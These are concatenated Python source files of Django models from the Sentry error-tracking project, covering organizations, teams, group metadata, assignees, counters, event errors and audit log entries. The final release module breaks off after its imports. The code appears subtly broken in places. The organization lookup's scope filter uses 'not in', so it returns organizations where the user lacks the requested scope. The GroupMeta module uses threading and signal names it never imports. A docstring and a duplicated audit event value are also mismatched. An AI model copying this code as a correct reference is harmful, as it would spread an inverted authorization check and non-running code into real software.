from django.db import models

from sentry.exceptions import CacheNotPopulated
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.db.models.manager import BaseManager


ERR_CACHE_MISISNG = 'Cache not populated for instance id=%s'


class GroupMetaManager(BaseManager):
    def __init__(self, *args, **kwargs):
        super(GroupMetaManager, self).__init__(*args, **kwargs)
        self.__local_cache = threading.local()

    def __getstate__(self):
        d = self.__dict__.copy()
        d.pop('_GroupMetaManager__local_cache', None)
        return d

    def __setstate__(self, state):
        self.__dict__.update(state)
        self.__local_cache = threading.local()

    def _get_cache(self):
        if not hasattr(self.__local_cache, 'value'):
            self.__local_cache.value = {}
        return self.__local_cache.value

    def _set_cache(self, value):
        self.__local_cache.value = value

    __cache = property(_get_cache, _set_cache)

    def contribute_to_class(self, model, name):
        model.CacheNotPopulated = CacheNotPopulated
        super(GroupMetaManager, self).contribute_to_class(model, name)
        task_postrun.connect(self.clear_local_cache)
        request_finished.connect(self.clear_local_cache)

    def clear_local_cache(self, **kwargs):
        self.__cache = {}

    def populate_cache(self, instance_list):
        for group in instance_list:
            self.__cache.setdefault(group.id, {})

        results = self.filter(
            group__in=instance_list,
        ).values_list('group', 'key', 'value')
        for group_id, key, value in results:
            self.__cache[group_id][key] = value

    def get_value_bulk(self, instance_list, key, default=None):
        results = {}
        for instance in instance_list:
            try:
                inst_cache = self.__cache[instance.id]
            except KeyError:
                raise self.model.CacheNotPopulated(ERR_CACHE_MISISNG % (instance.id,))
            results[instance] = inst_cache.get(key, default)
        return results

    def get_value(self, instance, key, default=None):
        try:
            inst_cache = self.__cache[instance.id]
        except KeyError:
            raise self.model.CacheNotPopulated(ERR_CACHE_MISISNG % (instance.id,))
        return inst_cache.get(key, default)

    def unset_value(self, instance, key):
        self.filter(group=instance, key=key).delete()
        try:
            del self.__cache[instance.id][key]
        except KeyError:
            pass

    def set_value(self, instance, key, value):
        self.create_or_update(
            group=instance,
            key=key,
            values={
                'value': value,
            },
        )
        self.__cache.setdefault(instance.id, {})
        self.__cache[instance.id][key] = value


class GroupMeta(Model):
    """
    Arbitrary key/value store for Groups.

    Generally useful for things like storing metadata
    provided by plugins.
    """
    __core__ = False

    group = FlexibleForeignKey('sentry.Group')
    key = models.CharField(max_length=64)
    value = models.TextField()

    objects = GroupMetaManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_groupmeta'
        unique_together = (('group', 'key'),)

    __repr__ = sane_repr('group_id', 'key', 'value')






"""
sentry.models.organization
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from bitfield import BitField
from django.conf import settings
from django.db import IntegrityError, models, transaction
from django.utils import timezone
from django.utils.functional import cached_property
from django.utils.translation import ugettext_lazy as _

from sentry import roles
from sentry.app import locks
from sentry.constants import RESERVED_ORGANIZATION_SLUGS
from sentry.db.models import (
    BaseManager, BoundedPositiveIntegerField, Model, sane_repr
)
from sentry.db.models.utils import slugify_instance
from sentry.utils.retries import TimedRetryPolicy


# TODO(dcramer): pull in enum library
class OrganizationStatus(object):
    VISIBLE = 0
    PENDING_DELETION = 1
    DELETION_IN_PROGRESS = 2


class OrganizationManager(BaseManager):
    # def get_by_natural_key(self, slug):
    #     return self.get(slug=slug)

    def get_for_user(self, user, scope=None):
        """
        Returns a set of all organizations a user has access to.
        """
        from sentry.models import OrganizationMember

        if not user.is_authenticated():
            return []

        if settings.SENTRY_PUBLIC and scope is None:
            return list(self.filter(status=OrganizationStatus.VISIBLE))

        results = list(OrganizationMember.objects.filter(
            user=user,
            organization__status=OrganizationStatus.VISIBLE,
        ).select_related('organization'))

        if scope is not None:
            return [
                r.organization for r in results
                if scope not in r.get_scopes()
            ]
        return [r.organization for r in results]


class Organization(Model):
    """
    An organization represents a group of individuals which maintain ownership of projects.
    """
    __core__ = True

    name = models.CharField(max_length=64)
    slug = models.SlugField(unique=True)
    status = BoundedPositiveIntegerField(choices=(
        (OrganizationStatus.VISIBLE, _('Visible')),
        (OrganizationStatus.PENDING_DELETION, _('Pending Deletion')),
        (OrganizationStatus.DELETION_IN_PROGRESS, _('Deletion in Progress')),
    ), default=OrganizationStatus.VISIBLE)
    date_added = models.DateTimeField(default=timezone.now)
    members = models.ManyToManyField(settings.AUTH_USER_MODEL, through='sentry.OrganizationMember', related_name='org_memberships')
    default_role = models.CharField(
        choices=roles.get_choices(),
        max_length=32,
        default=roles.get_default().id,
    )

    flags = BitField(flags=(
        ('allow_joinleave', 'Allow members to join and leave teams without requiring approval.'),
        ('enhanced_privacy', 'Enable enhanced privacy controls to limit personally identifiable information (PII) as well as source code in things like notifications.'),
        ('disable_shared_issues', 'Disable sharing of limited details on issues to anonymous users.'),
        ('early_adopter', 'Enable early adopter status, gaining access to features prior to public release.'),
    ), default=1)

    objects = OrganizationManager(cache_fields=(
        'pk',
        'slug',
    ))

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_organization'

    __repr__ = sane_repr('owner_id', 'name', 'slug')

    @classmethod
    def get_default(cls):
        """
        Return the organization used in single organization mode.
        """
        return cls.objects.filter(
            status=OrganizationStatus.VISIBLE,
        )[0]

    def __unicode__(self):
        return u'%s (%s)' % (self.name, self.slug)

    def save(self, *args, **kwargs):
        if not self.slug:
            lock = locks.get('slug:organization', duration=5)
            with TimedRetryPolicy(10)(lock.acquire):
                slugify_instance(self, self.name,
                                 reserved=RESERVED_ORGANIZATION_SLUGS)
            super(Organization, self).save(*args, **kwargs)
        else:
            super(Organization, self).save(*args, **kwargs)

    def delete(self):
        if self.is_default:
            raise Exception('You cannot delete the the default organization.')
        return super(Organization, self).delete()

    @cached_property
    def is_default(self):
        if not settings.SENTRY_SINGLE_ORGANIZATION:
            return False

        return self == type(self).get_default()

    def has_access(self, user, access=None):
        queryset = self.member_set.filter(user=user)
        if access is not None:
            queryset = queryset.filter(type__lte=access)

        return queryset.exists()

    def get_audit_log_data(self):
        return {
            'id': self.id,
            'slug': self.slug,
            'name': self.name,
            'status': self.status,
            'flags': self.flags,
            'default_role': self.default_role,
        }

    def get_default_owner(self):
        if not hasattr(self, '_default_owner'):
            from sentry.models import User

            self._default_owner = User.objects.filter(
                sentry_orgmember_set__role=roles.get_top_dog().id,
                sentry_orgmember_set__organization=self,
            )[0]
        return self._default_owner

    def has_single_owner(self):
        from sentry.models import OrganizationMember
        count = OrganizationMember.objects.filter(
            organization=self,
            role='owner',
            user__isnull=False,
        ).count()
        return count == 1

    def merge_to(from_org, to_org):
        from sentry.models import (
            ApiKey, AuditLogEntry, OrganizationMember, OrganizationMemberTeam,
            Project, Team
        )

        for from_member in OrganizationMember.objects.filter(organization=from_org):
            try:
                to_member = OrganizationMember.objects.get(
                    organization=to_org,
                    user=from_member.user,
                )
            except OrganizationMember.DoesNotExist:
                from_member.update(organization=to_org)
                to_member = from_member
            else:
                qs = OrganizationMemberTeam.objects.filter(
                    organizationmember=from_member,
                    is_active=True,
                ).select_related()
                for omt in qs:
                    OrganizationMemberTeam.objects.create_or_update(
                        organizationmember=to_member,
                        team=omt.team,
                        defaults={
                            'is_active': True,
                        },
                    )

        for team in Team.objects.filter(organization=from_org):
            try:
                with transaction.atomic():
                    team.update(organization=to_org)
            except IntegrityError:
                slugify_instance(team, team.name, organization=to_org)
                team.update(
                    organization=to_org,
                    slug=team.slug,
                )

        for project in Project.objects.filter(organization=from_org):
            try:
                with transaction.atomic():
                    project.update(organization=to_org)
            except IntegrityError:
                slugify_instance(project, project.name, organization=to_org)
                project.update(
                    organization=to_org,
                    slug=project.slug,
                )

        for model in (ApiKey, AuditLogEntry):
            model.objects.filter(
                organization=from_org,
            ).update(organization=to_org)

    # TODO: Make these a mixin
    def update_option(self, *args, **kwargs):
        from sentry.models import OrganizationOption

        return OrganizationOption.objects.set_value(self, *args, **kwargs)

    def get_option(self, *args, **kwargs):
        from sentry.models import OrganizationOption

        return OrganizationOption.objects.get_value(self, *args, **kwargs)

    def delete_option(self, *args, **kwargs):
        from sentry.models import OrganizationOption

        return OrganizationOption.objects.unset_value(self, *args, **kwargs)






"""
sentry.models
~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sentry.utils.imports import import_submodules
from south.modelsinspector import add_introspection_rules

import_submodules(globals(), __name__, __path__)

add_introspection_rules([], ["^social_auth\.fields\.JSONField"])






"""
sentry.models.team
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import warnings

from django.conf import settings
from django.db import models
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from sentry.app import env, locks
from sentry.db.models import (
    BaseManager, BoundedPositiveIntegerField, FlexibleForeignKey, Model,
    sane_repr
)
from sentry.db.models.utils import slugify_instance
from sentry.utils.retries import TimedRetryPolicy


class TeamManager(BaseManager):
    def get_for_user(self, organization, user, with_projects=False):
        """
        Returns a list of all teams a user has some level of access to.
        """
        from sentry.models import (
            OrganizationMemberTeam, Project, ProjectStatus
        )

        if not user.is_authenticated():
            return []

        base_team_qs = self.filter(
            organization=organization,
            status=TeamStatus.VISIBLE
        )

        if env.request and env.request.is_superuser() or settings.SENTRY_PUBLIC:
            team_list = list(base_team_qs)

        else:
            team_list = list(base_team_qs.filter(
                id__in=OrganizationMemberTeam.objects.filter(
                    organizationmember__user=user,
                    organizationmember__organization=organization,
                    is_active=True,
                ).values_list('team'),
            ))

        results = sorted(team_list, key=lambda x: x.name.lower())

        if with_projects:
            project_list = sorted(Project.objects.filter(
                team__in=team_list,
                status=ProjectStatus.VISIBLE,
            ), key=lambda x: x.name.lower())
            projects_by_team = {
                t.id: [] for t in team_list
            }
            for project in project_list:
                projects_by_team[project.team_id].append(project)

            # these kinds of queries make people sad :(
            for idx, team in enumerate(results):
                team_projects = projects_by_team[team.id]
                for project in team_projects:
                    project.team = team
                results[idx] = (team, team_projects)

        return results


# TODO(dcramer): pull in enum library
class TeamStatus(object):
    VISIBLE = 0
    PENDING_DELETION = 1
    DELETION_IN_PROGRESS = 2


class Team(Model):
    """
    A team represents a group of individuals which maintain ownership of projects.
    """
    __core__ = True

    organization = FlexibleForeignKey('sentry.Organization')
    slug = models.SlugField()
    name = models.CharField(max_length=64)
    status = BoundedPositiveIntegerField(choices=(
        (TeamStatus.VISIBLE, _('Active')),
        (TeamStatus.PENDING_DELETION, _('Pending Deletion')),
        (TeamStatus.DELETION_IN_PROGRESS, _('Deletion in Progress')),
    ), default=TeamStatus.VISIBLE)
    date_added = models.DateTimeField(default=timezone.now, null=True)

    objects = TeamManager(cache_fields=(
        'pk',
        'slug',
    ))

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_team'
        unique_together = (('organization', 'slug'),)

    __repr__ = sane_repr('name', 'slug')

    def __unicode__(self):
        return u'%s (%s)' % (self.name, self.slug)

    def save(self, *args, **kwargs):
        if not self.slug:
            lock = locks.get('slug:team', duration=5)
            with TimedRetryPolicy(10)(lock.acquire):
                slugify_instance(self, self.name, organization=self.organization)
            super(Team, self).save(*args, **kwargs)
        else:
            super(Team, self).save(*args, **kwargs)

    @property
    def member_set(self):
        return self.organization.member_set.filter(
            organizationmemberteam__team=self,
            organizationmemberteam__is_active=True,
            user__is_active=True,
        ).distinct()

    def has_access(self, user, access=None):
        from sentry.models import AuthIdentity, OrganizationMember

        warnings.warn('Team.has_access is deprecated.', DeprecationWarning)

        queryset = self.member_set.filter(
            user=user,
        )
        if access is not None:
            queryset = queryset.filter(type__lte=access)

        try:
            member = queryset.get()
        except OrganizationMember.DoesNotExist:
            return False

        try:
            auth_identity = AuthIdentity.objects.get(
                auth_provider__organization=self.organization_id,
                user=member.user_id,
            )
        except AuthIdentity.DoesNotExist:
            return True

        return auth_identity.is_valid(member)

    def get_audit_log_data(self):
        return {
            'id': self.id,
            'slug': self.slug,
            'name': self.name,
            'status': self.status,
        }






"""
sentry.models.broadcast
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from datetime import timedelta
from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr


class Broadcast(Model):
    __core__ = False

    upstream_id = models.CharField(max_length=32, null=True, blank=True)
    title = models.CharField(max_length=32)
    message = models.CharField(max_length=256)
    link = models.URLField(null=True, blank=True)
    is_active = models.BooleanField(default=True, db_index=True)
    date_expires = models.DateTimeField(
        default=lambda: timezone.now() + timedelta(days=7),
        null=True,
        blank=True,
    )
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_broadcast'

    __repr__ = sane_repr('message')


class BroadcastSeen(Model):
    __core__ = False

    broadcast = FlexibleForeignKey('sentry.Broadcast')
    user = FlexibleForeignKey('sentry.User')
    date_seen = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_broadcastseen'
        unique_together = (('broadcast', 'user'))

    __repr__ = sane_repr('broadcast', 'user', 'date_seen')






from __future__ import absolute_import

from sentry.db.models import BoundedBigIntegerField, Model, sane_repr


class GroupRedirect(Model):
    """
    Maintains a reference from a group that has been merged (and subsequently
    deleted) to the group that superceded it.
    """
    __core__ = False

    group_id = BoundedBigIntegerField(db_index=True)
    previous_group_id = BoundedBigIntegerField(unique=True)

    class Meta:
        db_table = 'sentry_groupredirect'
        app_label = 'sentry'

    __repr__ = sane_repr('group_id', 'previous_group_id')






"""
sentry.models.groupbookmark
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.conf import settings
from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, BaseManager, sane_repr


class GroupBookmark(Model):
    """
    Identifies a bookmark relationship between a user and an
    aggregated event (Group).
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', related_name="bookmark_set")
    group = FlexibleForeignKey('sentry.Group', related_name="bookmark_set")
    # namespace related_name on User since we don't own the model
    user = FlexibleForeignKey(settings.AUTH_USER_MODEL, related_name="sentry_bookmark_set")
    date_added = models.DateTimeField(default=timezone.now, null=True)

    objects = BaseManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_groupbookmark'
        # composite index includes project for efficient queries
        unique_together = (('project', 'user', 'group'),)

    __repr__ = sane_repr('project_id', 'group_id', 'user_id')






"""
sentry.models.groupassignee
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from django.conf import settings
from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr, \
    BaseManager
from sentry.models.activity import Activity


class GroupAssigneeManager(BaseManager):

    def assign(self, group, assigned_to, acting_user=None):
        now = timezone.now()
        assignee, created = GroupAssignee.objects.get_or_create(
            group=group,
            defaults={
                'project': group.project,
                'user': assigned_to,
                'date_added': now,
            }
        )

        if not created:
            affected = GroupAssignee.objects.filter(
                group=group,
            ).exclude(
                user=assigned_to,
            ).update(
                user=assigned_to,
                date_added=now
            )
        else:
            affected = True

        if affected:
            activity = Activity.objects.create(
                project=group.project,
                group=group,
                type=Activity.ASSIGNED,
                user=acting_user,
                data={
                    'assignee': six.text_type(assigned_to.id),
                    'assigneeEmail': assigned_to.email,
                }
            )
            activity.send_notification()

    def deassign(self, group, acting_user=None):
        affected = GroupAssignee.objects.filter(
            group=group,
        )[:1].count()
        GroupAssignee.objects.filter(
            group=group,
        ).delete()

        if affected > 0:
            activity = Activity.objects.create(
                project=group.project,
                group=group,
                type=Activity.UNASSIGNED,
                user=acting_user,
            )
            activity.send_notification()


class GroupAssignee(Model):
    """
    Identifies an assignment relationship between a user and an
    aggregated event (Group).
    """
    __core__ = False

    objects = GroupAssigneeManager()

    project = FlexibleForeignKey('sentry.Project', related_name="assignee_set")
    group = FlexibleForeignKey('sentry.Group', related_name="assignee_set", unique=True)
    user = FlexibleForeignKey(settings.AUTH_USER_MODEL, related_name="sentry_assignee_set")
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_groupasignee'

    __repr__ = sane_repr('group_id', 'user_id')






"""
sentry.models.counter
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django.db import connection

from sentry.db.models import (
    FlexibleForeignKey, Model, sane_repr, BoundedBigIntegerField
)
from sentry.utils import db


class Counter(Model):
    """
    A ReleaseFile is an association between a Release and a File.

    The ident of the file should be sha1(name) and must be unique per release.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', unique=True)
    value = BoundedBigIntegerField()

    __repr__ = sane_repr('project')

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_projectcounter'

    @classmethod
    def increment(cls, project, delta=1):
        """Increments a counter.  This can never decrement."""
        return increment_project_counter(project, delta)


def increment_project_counter(project, delta=1):
    """This method primarily exists so that south code can use it."""
    if delta <= 0:
        raise ValueError('There is only one way, and that\'s up.')

    cur = connection.cursor()
    try:
        if db.is_postgres():
            cur.execute('''
                select sentry_increment_project_counter(%s, %s)
            ''', [project.id, delta])
            return cur.fetchone()[0]
        elif db.is_sqlite():
            value = cur.execute('''
                insert or ignore into sentry_projectcounter
                  (project_id, value) values (%s, 0);
            ''', [project.id])
            value = cur.execute('''
                select value from sentry_projectcounter
                 where project_id = %s
            ''', [project.id]).fetchone()[0]
            while 1:
                cur.execute('''
                    update sentry_projectcounter
                       set value = value + %s
                     where project_id = %s;
                ''', [delta, project.id])
                changes = cur.execute('''
                    select changes();
                ''').fetchone()[0]
                if changes != 0:
                    return value + delta
        elif db.is_mysql():
            cur.execute('''
                insert into sentry_projectcounter
                            (project_id, value)
                     values (%s, @new_val := %s)
           on duplicate key
                     update value = @new_val := value + %s
            ''', [project.id, delta, delta])
            cur.execute('select @new_val')
            return cur.fetchone()[0]
        else:
            raise AssertionError("Not implemented database engine path")
    finally:
        cur.close()






from __future__ import absolute_import

import six


class EventError(object):
    INVALID_DATA = 'invalid_data'
    INVALID_ATTRIBUTE = 'invalid_attribute'
    VALUE_TOO_LONG = 'value_too_long'
    UNKNOWN_ERROR = 'unknown_error'
    SECURITY_VIOLATION = 'security_violation'
    RESTRICTED_IP = 'restricted_ip'

    JS_GENERIC_FETCH_ERROR = 'js_generic_fetch_error'
    JS_INVALID_HTTP_CODE = 'js_invalid_http_code'
    JS_INVALID_CONTENT = 'js_invalid_content'
    JS_NO_COLUMN = 'js_no_column'
    JS_MISSING_SOURCE = 'js_no_source'
    JS_INVALID_SOURCEMAP = 'js_invalid_source'
    JS_TOO_MANY_REMOTE_SOURCES = 'js_too_many_sources'
    JS_INVALID_SOURCE_ENCODING = 'js_invalid_source_encoding'
    JS_INVALID_SOURCEMAP_LOCATION = 'js_invalid_sourcemap_location'
    NATIVE_NO_CRASHED_THREAD = 'native_no_crashed_thread'
    NATIVE_INTERNAL_FAILURE = 'native_internal_failure'
    NATIVE_NO_SYMSYND = 'native_no_symsynd'

    _messages = {
        INVALID_DATA: u'Discarded invalid value for parameter \'{name}\'',
        INVALID_ATTRIBUTE: u'Discarded invalid parameter \'{name}\'',
        VALUE_TOO_LONG: u'Discarded value for \'{name}\' due to exceeding maximum length',
        UNKNOWN_ERROR: u'Unknown error',
        SECURITY_VIOLATION: u'Cannot fetch resource due to security violation on {url}',
        RESTRICTED_IP: u'Cannot fetch resource due to restricted IP address on {url}',
        JS_GENERIC_FETCH_ERROR: u'Unable to fetch resource: {url}',
        JS_INVALID_HTTP_CODE: u'HTTP returned {value} response on {url}',
        JS_INVALID_CONTENT: u'Source file was not JavaScript: {url}',
        JS_NO_COLUMN: u'Cannot expand sourcemap due to no column information for {url}',
        JS_MISSING_SOURCE: u'Source code was not found for {url}',
        JS_INVALID_SOURCEMAP: u'Sourcemap was invalid or not parseable: {url}',
        JS_TOO_MANY_REMOTE_SOURCES: u'The maximum number of remote source requests was made',
        JS_INVALID_SOURCE_ENCODING: u'Source file was not \'{value}\' encoding: {url}',
        JS_INVALID_SOURCEMAP_LOCATION: u'Invalid location in sourcemap: ({column}, {row})',
        NATIVE_NO_CRASHED_THREAD: u'No crashed thread found in crash report',
        NATIVE_INTERNAL_FAILURE: u'Internal failure when attempting to symbolicate: {error}',
        NATIVE_NO_SYMSYND: u'The symbolizer is not configured for this system.',
    }

    @classmethod
    def get_message(cls, data):
        return cls._messages[data['type']].format(**data)

    def to_dict(self):
        return {k: v for k, v in six.iteritems(self) if k != 'type'}






"""
sentry.models.auditlogentry
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    Model, BoundedPositiveIntegerField, FlexibleForeignKey, GzippedDictField,
    sane_repr
)


class AuditLogEntryEvent(object):
    MEMBER_INVITE = 1
    MEMBER_ADD = 2
    MEMBER_ACCEPT = 3
    MEMBER_EDIT = 4
    MEMBER_REMOVE = 5
    MEMBER_JOIN_TEAM = 6
    MEMBER_LEAVE_TEAM = 7

    ORG_ADD = 10
    ORG_EDIT = 11
    ORG_REMOVE = 12

    TEAM_ADD = 20
    TEAM_EDIT = 21
    TEAM_REMOVE = 22

    PROJECT_ADD = 30
    PROJECT_EDIT = 31
    PROJECT_REMOVE = 32
    PROJECT_SET_PUBLIC = 33
    PROJECT_SET_PRIVATE = 34

    TAGKEY_REMOVE = 40

    PROJECTKEY_ADD = 50
    PROJECTKEY_EDIT = 51
    PROJECTKEY_REMOVE = 52
    PROJECTKEY_ENABLE = 53
    PROJECTKEY_DISABLE = 53

    SSO_ENABLE = 60
    SSO_DISABLE = 61
    SSO_EDIT = 62
    SSO_IDENTITY_LINK = 63

    APIKEY_ADD = 70
    APIKEY_EDIT = 71
    APIKEY_REMOVE = 72


class AuditLogEntry(Model):
    __core__ = False

    organization = FlexibleForeignKey('sentry.Organization')
    actor_label = models.CharField(max_length=64, null=True, blank=True)
    # if the entry was created via a user
    actor = FlexibleForeignKey('sentry.User', related_name='audit_actors',
                               null=True, blank=True)
    # if the entry was created via an api key
    actor_key = FlexibleForeignKey('sentry.ApiKey', null=True, blank=True)
    target_object = BoundedPositiveIntegerField(null=True)
    target_user = FlexibleForeignKey('sentry.User', null=True, blank=True,
                                    related_name='audit_targets')
    # TODO(dcramer): we want to compile this mapping into JSX for the UI
    event = BoundedPositiveIntegerField(choices=(
        # We emulate github a bit with event naming
        (AuditLogEntryEvent.MEMBER_INVITE, 'member.invite'),
        (AuditLogEntryEvent.MEMBER_ADD, 'member.add'),
        (AuditLogEntryEvent.MEMBER_ACCEPT, 'member.accept-invite'),
        (AuditLogEntryEvent.MEMBER_REMOVE, 'member.remove'),
        (AuditLogEntryEvent.MEMBER_EDIT, 'member.edit'),
        (AuditLogEntryEvent.MEMBER_JOIN_TEAM, 'member.join-team'),
        (AuditLogEntryEvent.MEMBER_LEAVE_TEAM, 'member.leave-team'),

        (AuditLogEntryEvent.TEAM_ADD, 'team.create'),
        (AuditLogEntryEvent.TEAM_EDIT, 'team.edit'),
        (AuditLogEntryEvent.TEAM_REMOVE, 'team.remove'),

        (AuditLogEntryEvent.PROJECT_ADD, 'project.create'),
        (AuditLogEntryEvent.PROJECT_EDIT, 'project.edit'),
        (AuditLogEntryEvent.PROJECT_REMOVE, 'project.remove'),
        (AuditLogEntryEvent.PROJECT_SET_PUBLIC, 'project.set-public'),
        (AuditLogEntryEvent.PROJECT_SET_PRIVATE, 'project.set-private'),

        (AuditLogEntryEvent.ORG_ADD, 'org.create'),
        (AuditLogEntryEvent.ORG_EDIT, 'org.edit'),
        (AuditLogEntryEvent.ORG_REMOVE, 'org.remove'),

        (AuditLogEntryEvent.TAGKEY_REMOVE, 'tagkey.remove'),

        (AuditLogEntryEvent.PROJECTKEY_ADD, 'projectkey.create'),
        (AuditLogEntryEvent.PROJECTKEY_EDIT, 'projectkey.edit'),
        (AuditLogEntryEvent.PROJECTKEY_REMOVE, 'projectkey.remove'),
        (AuditLogEntryEvent.PROJECTKEY_ENABLE, 'projectkey.enable'),
        (AuditLogEntryEvent.PROJECTKEY_DISABLE, 'projectkey.disable'),

        (AuditLogEntryEvent.SSO_ENABLE, 'sso.enable'),
        (AuditLogEntryEvent.SSO_DISABLE, 'sso.disable'),
        (AuditLogEntryEvent.SSO_EDIT, 'sso.edit'),
        (AuditLogEntryEvent.SSO_IDENTITY_LINK, 'sso-identity.link'),

        (AuditLogEntryEvent.APIKEY_ADD, 'api-key.create'),
        (AuditLogEntryEvent.APIKEY_EDIT, 'api-key.edit'),
        (AuditLogEntryEvent.APIKEY_REMOVE, 'api-key.remove'),
    ))
    ip_address = models.GenericIPAddressField(null=True, unpack_ipv4=True)
    data = GzippedDictField()
    datetime = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_auditlogentry'

    __repr__ = sane_repr('organization_id', 'type')

    def save(self, *args, **kwargs):
        if not self.actor_label:
            assert self.actor or self.actor_key
            if self.actor:
                self.actor_label = self.actor.username
            else:
                self.actor_label = self.actor_key.key
        super(AuditLogEntry, self).save(*args, **kwargs)

    def get_actor_name(self):
        if self.actor:
            return self.actor.get_display_name()
        elif self.actor_key:
            return self.actor_key.key + ' (api key)'
        return self.actor_label

    def get_note(self):
        if self.event == AuditLogEntryEvent.MEMBER_INVITE:
            return 'invited member %s' % (self.data['email'],)
        elif self.event == AuditLogEntryEvent.MEMBER_ADD:
            if self.target_user == self.actor:
                return 'joined the organization'
            return 'added member %s' % (self.target_user.get_display_name(),)
        elif self.event == AuditLogEntryEvent.MEMBER_ACCEPT:
            return 'accepted the membership invite'
        elif self.event == AuditLogEntryEvent.MEMBER_REMOVE:
            if self.target_user == self.actor:
                return 'left the organization'
            return 'removed member %s' % (self.data.get('email') or self.target_user.get_display_name(),)
        elif self.event == AuditLogEntryEvent.MEMBER_EDIT:
            return 'edited member %s' % (self.data.get('email') or self.target_user.get_display_name(),)
        elif self.event == AuditLogEntryEvent.MEMBER_JOIN_TEAM:
            if self.target_user == self.actor:
                return 'joined team %s' % (self.data['team_slug'],)
            return 'added %s to team %s' % (
                self.data.get('email') or self.target_user.get_display_name(),
                self.data['team_slug'],
            )
        elif self.event == AuditLogEntryEvent.MEMBER_LEAVE_TEAM:
            if self.target_user == self.actor:
                return 'left team %s' % (self.data['team_slug'],)
            return 'removed %s from team %s' % (
                self.data.get('email') or self.target_user.get_display_name(),
                self.data['team_slug'],
            )

        elif self.event == AuditLogEntryEvent.ORG_ADD:
            return 'created the organization'
        elif self.event == AuditLogEntryEvent.ORG_EDIT:
            return 'edited the organization'

        elif self.event == AuditLogEntryEvent.TEAM_ADD:
            return 'created team %s' % (self.data['slug'],)
        elif self.event == AuditLogEntryEvent.TEAM_EDIT:
            return 'edited team %s' % (self.data['slug'],)
        elif self.event == AuditLogEntryEvent.TEAM_REMOVE:
            return 'removed team %s' % (self.data['slug'],)

        elif self.event == AuditLogEntryEvent.PROJECT_ADD:
            return 'created project %s' % (self.data['slug'],)
        elif self.event == AuditLogEntryEvent.PROJECT_EDIT:
            return 'edited project %s' % (self.data['slug'],)
        elif self.event == AuditLogEntryEvent.PROJECT_REMOVE:
            return 'removed project %s' % (self.data['slug'],)

        elif self.event == AuditLogEntryEvent.TAGKEY_REMOVE:
            return 'removed tags matching %s = *' % (self.data['key'],)

        elif self.event == AuditLogEntryEvent.PROJECTKEY_ADD:
            return 'added project key %s' % (self.data['public_key'],)
        elif self.event == AuditLogEntryEvent.PROJECTKEY_EDIT:
            return 'edited project key %s' % (self.data['public_key'],)
        elif self.event == AuditLogEntryEvent.PROJECTKEY_REMOVE:
            return 'removed project key %s' % (self.data['public_key'],)
        elif self.event == AuditLogEntryEvent.PROJECTKEY_ENABLE:
            return 'enabled project key %s' % (self.data['public_key'],)
        elif self.event == AuditLogEntryEvent.PROJECTKEY_DISABLE:
            return 'disabled project key %s' % (self.data['public_key'],)

        elif self.event == AuditLogEntryEvent.SSO_ENABLE:
            return 'enabled sso (%s)' % (self.data['provider'],)
        elif self.event == AuditLogEntryEvent.SSO_DISABLE:
            return 'disabled sso (%s)' % (self.data['provider'],)
        elif self.event == AuditLogEntryEvent.SSO_EDIT:
            return 'edited sso settings'
        elif self.event == AuditLogEntryEvent.SSO_IDENTITY_LINK:
            return 'linked their account to a new identity'

        elif self.event == AuditLogEntryEvent.APIKEY_ADD:
            return 'added api key %s' % (self.data['label'],)
        elif self.event == AuditLogEntryEvent.APIKEY_EDIT:
            return 'edited api key %s' % (self.data['label'],)
        elif self.event == AuditLogEntryEvent.APIKEY_REMOVE:
            return 'removed api key %s' % (self.data['label'],)

        return ''






"""
sentry.models.release
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import re

from django.db import models
from django.utils import timezone
from jsonfield import JSONField

from sentry.db.models import (
    BoundedPositiveIntegerField, FlexibleForeignKey, Model, sane_repr
)
from sentry.utils.cache import cache
from sentry.utils.hashlib import md5_text

